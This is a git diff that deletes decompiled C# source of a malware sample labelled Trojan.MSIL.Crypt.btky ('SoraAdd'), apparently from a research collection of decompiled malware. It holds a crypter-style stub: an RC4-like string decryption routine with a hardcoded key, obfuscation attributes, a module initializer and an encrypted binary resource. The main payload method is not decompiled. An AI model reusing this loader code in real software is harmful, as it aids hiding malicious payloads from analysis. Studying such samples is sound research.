C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0002; -using System; - -namespace \u0002 -{ - internal sealed class \u0003 - { - public static void \u0003() - { - try - { - \u0001.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0004.cs deleted file mode 100644 index 0c4a2d2e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0004.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using System; - -namespace \u0002 -{ - internal sealed class \u0004 : Attribute - { - public \u0004(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0001.cs deleted file mode 100644 index 668fb75a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0001.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0001 : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void \u0003(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0003.\u0003.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0003.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0002.cs deleted file mode 100644 index b59b430e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0003.cs deleted file mode 100644 index 33a34219..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0003/_0003.cs +++ /dev/null @@ -1,221 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0003; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class \u0003 - { - private static readonly \u0003.\u0003.\u0002<\u0002> \u0001 = new \u0003.\u0003.\u0002<\u0002>(); - private static readonly \u0003.\u0003.\u0002<\u0001> \u0002 = new \u0003.\u0003.\u0002<\u0001>(); - private static readonly \u0003.\u0003.\u0002 \u0003 = new \u0003.\u0003.\u0002(); - private static \u0003.\u0003.\u0002<\u0003.\u0003.\u0004> \u0004 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0004>(); - private static readonly \u0003.\u0003.\u0002<\u0003.\u0003.\u0001> \u0005 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0001>(); - - [DebuggerNonUserCode] - static \u0003() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0002 Computer - { - [DebuggerHidden] get => \u0003.\u0003.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001 Application - { - [DebuggerHidden] get => \u0003.\u0003.\u0002.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0003.\u0003.\u0003.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0003.\u0003.\u0004 Forms - { - [DebuggerHidden] get => \u0003.\u0003.\u0004.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0003.\u0003.\u0001 WebServices - { - [DebuggerHidden] get => \u0003.\u0003.\u0005.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0004 - { - public \u0004.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0002; - - public \u0004.\u0003 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0003.\u0003.\u0004.\u0003<\u0004.\u0003>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0003<\u0004.\u0003>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0003(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0003.\u0003.\u0004.\u0002 != null) - { - if (\u0003.\u0003.\u0004.\u0002.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - goto label_10; -label_4: - \u0003.\u0003.\u0004.\u0002.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0003.\u0003.\u0004.\u0002.Remove((object) typeof (T)); - } -label_10: - \u0003.\u0003.\u0004.\u0002 = new Hashtable(); - goto label_4; - } - - [DebuggerHidden] - private void \u0003(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0004() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0004); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class \u0001 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0001); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0003(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0003(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0003.\u0003.\u0002.\u0001 == null) - goto label_2; -label_1: - return \u0003.\u0003.\u0002.\u0001; -label_2: - \u0003.\u0003.\u0002.\u0001 = new T(); - goto label_1; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0004/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0004/_0003.cs deleted file mode 100644 index 5c8e3ae6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0004/_0003.cs +++ /dev/null @@ -1,112 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace \u0004 -{ - [DesignerGenerated] - internal sealed class \u0003 : Form - { - private IContainer \u0001; - private const string \u0002 = "YesNewBeg"; - - [DebuggerNonUserCode] - public \u0003() - { - \u0003 obj = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj, __vmethodptr(obj, \u0003)); - this.\u0003(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0003() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 55); - this.Name = "Form1"; - this.Text = "Form1"; - this.ResumeLayout(false); - } - - private void \u0003(object sender, EventArgs e) - { - // ISSUE: unable to decompile the method. - } - - public static string \u0003(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0004/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0004/_0004.cs deleted file mode 100644 index 7d102a4e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0004/_0004.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - internal sealed class \u0004 - { - private static ResourceManager \u0001; - private static CultureInfo \u0002; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0004.\u0004.\u0001, (object) null)) - \u0004.\u0004.\u0001 = new ResourceManager("Soraadd.Resources", typeof (\u0004.\u0004).Assembly); - return \u0004.\u0004.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0004.\u0004.\u0002; - set => \u0004.\u0004.\u0002 = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0005/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0005/_0001.cs deleted file mode 100644 index 2fb530ef..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0005/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Soraadd.My; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - internal sealed class \u0001 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_003CModule_003E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_003CModule_003E.cs deleted file mode 100644 index 44a8a62a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_003CModule_003E.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0002; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0003.\u0003(); - \u0001.\u0001.\u0003(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/{3872a73d-48e1-4504-b393-a76428731afe} b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/{3872a73d-48e1-4504-b393-a76428731afe} deleted file mode 100644 index e61e286160257c8894027c5d670d70515f962895..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1012 zcmVZ;#0EpgV=|ivY?=MPV zsG*Wso}&j!_;8EVOsHx(Jj%tfNY_GPP;j0B?rrDcirR4xWk>Fdm|5|WscoG~dCk1F zFzOKm1BSw5XXBsyyDK#kwoXCZ#o%Qw@H`79Q^2P6z=Z;P2{d#9Sf|5*GYf)#p)98W zc6324yf))=+a3@>Af!I4I5V5&X^vGUN(+g90^xSx9jh8iuDNa~J4wRZoHm7K!dBGr zq);ervz8#Op=gCVfJ-d;MG{6QWhi9TT!ct*WnNZg2y`>^gkYXHpUoc!1fvRxtt##w z>F6`|k3$Iqxl2nlWE-|!q`o!IxBIh;lNftdT~{uyiCbTBKt^Tgz*d*Q3GUxDlt_!9 z=VaR4Ay4E$sSPqcQ|xH2shuAM;X0Zzv`OLNYfd^rJp8F!mscsV0*p4IV}3_uDa-=q zfWyk)8?+(135XQL1MM+Dld^BB-}O29-7?3826DnnO%ileWcp`;xZYU_`CnrMfEq_V zq2Sd-9#g-N{cK9V*ni}~iW6wj4}1;JXKQndyPvN)OA%c2I=;M1UsDqP#Su-(D>AFR z8<^wI@>9m11+IH4;k2TH$mmOfYLbDeYHtrAx?*z!FS8*TcII|pO!PVQK4ny%nEj;A z0`n2`n=BWFeTtf<3&F6}ukN)gS}2(%O^Wiq`7ga2VwHhyt0ngz4_GqGa#WRNBnkFG%(xRl@3`>uEt z`{MY>#1+gEX4GetfzIV5dEV5JO$jcI&Uo&DOJ!y}$dtfuHx2)Z52RiKQl|-2sTEE^ zfIa$`uq6~pakam<2a8Egkep@@FgPKmEXNpY==KR1U0apl!{(iEMwLGtR1=!Fof>lx z6<3v3(tR9Vu+HnP>*2XBFNbqia}-0(c+4lvT>E8YT4#^DK|U0P*tDj;v�{mM0y* zl`WM0G<<(5E!A-U!gU9ftjb)v0Pii9?xh+PwDU4Iae5V>yVwub z@Rw6l1@kpEoBDP!z92c(gv~+)DJ_ zIRICta9Y6=372`Dd}8Qa*)8orZJP4jqUt}0V7-lOz i7icSMRKoq6kz`t&g{e>CsYO&G)tSW#2RfKw=)(hH)aWY! diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/AssemblyInfo.cs deleted file mode 100644 index 4afd43e7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/AssemblyInfo.cs +++ /dev/null @@ -1,17 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: Guid("36537493-e85c-4d7e-96bc-32c472e96b4c")] -[assembly: ComVisible(false)] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("")] -[assembly: SuppressIldasm] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyFileVersion("3.0.0.0")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("3.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index 22d7ff66..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/SmartAssembly/Attributes/PoweredByAttribute2.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/SmartAssembly/Attributes/PoweredByAttribute2.cs deleted file mode 100644 index def2f887..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/SmartAssembly/Attributes/PoweredByAttribute2.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute2 -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute2 : Attribute - { - public PoweredByAttribute2(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Soraadd/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Soraadd/My/MySettings.cs deleted file mode 100644 index c34779ed..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Soraadd/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Soraadd.My.MySettings -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0005; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Soraadd.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0002; - private static object \u0003 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0002) - { - object Expression = MySettings.\u0003; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0002) - { - \u0003.\u0003.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - }); - MySettings.\u0002 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Trojan.MSIL.Crypt.btky.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Trojan.MSIL.Crypt.btky.csproj deleted file mode 100644 index 8c731a84..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Trojan.MSIL.Crypt.btky.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {9EE82259-DE24-406A-AA26-D274E0710054} - WinExe - SoraAdd - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - 